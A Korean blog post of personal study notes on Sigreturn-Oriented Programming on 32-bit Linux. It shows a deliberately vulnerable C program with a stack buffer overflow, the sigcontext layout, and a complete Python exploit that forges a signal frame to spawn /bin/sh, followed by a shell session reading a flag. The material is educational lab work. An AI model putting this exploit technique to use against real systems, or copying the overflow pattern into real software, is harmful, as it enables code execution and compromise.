티스토리 뷰

참고한 문서 SROP.pdf


SROP.pdf


이 포스팅은 위 문서를 기반으로 작성되었습니다. 

똑같진 않지만 어느정도 기반으로 exploit이 진행되었기 때문에

문제가 된다면 삭제하겠습니다.


* 개인 공부용이기 때문에 문서를 보는것이 훨씬 낫습니다.


----------------------------------------


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// vuln.c
// gcc -o vuln vuln.c -fno-stack-protector -fno-pie -mpreferred-stack-boundary=2
 
char binsh[] = "/bin/sh\x00";
 
void int80()  // int 0x80 ; gadget
{
    asm("int $0x80");
}
 
void main(void)
{
    char buf[8];
    
    read(0, buf, 128);
};
cs



SROP의 장점은 ROP보다 적은 gadget을 사용하고 exploit을 성공시킬 수 있다는 것이다.

(원래 "/bin/sh"문자열도 read를 통해서 받아야 하지만 생략. data섹션에 넣어주자)


http://linux.die.net/man/2/sigreturn


int sigreturn(unsigned long __unused);


sigreturn함수는 시그널 문맥으로써 복귀할 때 사용하는 함수이다. 


sigreturn 함수의 syscall number는 unistd_32.h에서 확인할 수 있다.



1
#define __NR_sigreturn 119
cs



그리고 시그널 문맥 (레지스터가 들어가는 순서(?))는 sigcontext.h에서 확인 가능


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext 
{
        unsigned short gs, __gsh;
        unsigned short fs, __fsh;
        unsigned short es, __esh;
        unsigned short ds, __dsh;
        unsigned long edi;
        unsigned long esi;
        unsigned long ebp;
        unsigned long esp;
        unsigned long ebx;
        unsigned long edx;
        unsigned long ecx;
        unsigned long eax;
        unsigned long trapno;
        unsigned long err;
        unsigned long eip;
        unsigned short cs, __csh;
        unsigned long eflags;
        unsigned long esp_at_signal;
        unsigned short ss, __ssh;
        struct _fpstate *fpstate;
        unsigned long oldmask;
        unsigned long cr2;
};
cs



int $0x80가젯은 eax의 값으로 syscall을 하기 때문에 eax를 제어해야 한다.



1
2
3
4
5
6
7
8
9
10
11
open() 함수로 열기를 한 파일의 내용을 읽기를 합니다.
 
헤더    unistd.h
 
형태    ssize_t read (int fd, void *buf, size_t nbytes)
 
인수    int fd    파일 디스크립터
     void *buf    파일을 읽어 들일 버퍼
     size_t nbytes    퍼버의 크기
 
반환    ssize_t    정상적으로 실행되었다면 읽어들인 바이트 수를, 실패했다면 -1을 반환
cs



read()함수는 읽어들인 값의 크기만큼 반환을 하니 충분히 eax를 제어할 수 있음.


* 사실 sigreturn이 잘 되는지 봐야하지만 생략, 잘 됩니다. :)


최종 exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
from struct import pack
 
int80     = 0x08048420 # int $0x80 ; gadget
binsh     = 0x0804a020 # "/bin/sh" ; string
sigreturn = 0x00000077
execve    = 0x0000000B
ret_dummy = 0x0000000C
 
def exploit():
    payload  = "\x90" * ret_dummy      # dummy
    payload += pack("<L", int80)       # RET ; int $0x80
    payload += pack("<L"0x00000033)  # GS
    payload += pack("<L"0x00000000)  # FS
    payload += pack("<L"0x0000007b)  # ES
    payload += pack("<L"0x0000007b)  # DS
    payload += pack("<L"0x00000000)  # EDI
    payload += pack("<L"0x00000000)  # ESI
    payload += pack("<L"0x08049f00)  # EBP
    payload += pack("<L"0x08049e00)  # ESP
    payload += pack("<L", binsh)       # EBX ; "/bin/sh" ; string
    payload += pack("<L"0x00000000)  # EDX
    payload += pack("<L"0x00000000)  # ECX
    payload += pack("<L", execve)      # EAX ; syscall number of execve()
    payload += pack("<L"0x00000000)  # trapno
    payload += pack("<L"0x00000000)  # err
    payload += pack("<L", int80)       # EIP ; int $0x80
    payload += pack("<L"0x00000073)  # CS
    payload += pack("<L"0x00000246)  # eflags
    payload += pack("<L"0x00000000)  # esp_at_signal
    payload += pack("<L"0x0000007b)  # SS
    payload += "\x00" * (118 - len(payload))
 
    print payload
 
if __name__ == "__main__":
    exploit()
cs



1
2
3
4
5
6
7
8
9
$ (./exploit.py ; cat) | ./vuln 
whoami
err0rless
id
uid=1000(err0rless) gid=1000(err0rless) groups=1000(err0rless)...
ls -al | grep flag
-rw-rw-r-- 1 err0rless err0rless   17 Feb 14 17:15 flag
cat flag
SROP on 32Bit :)
cs



1
SROP on 32Bit :)
cs




댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/03   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
글 보관함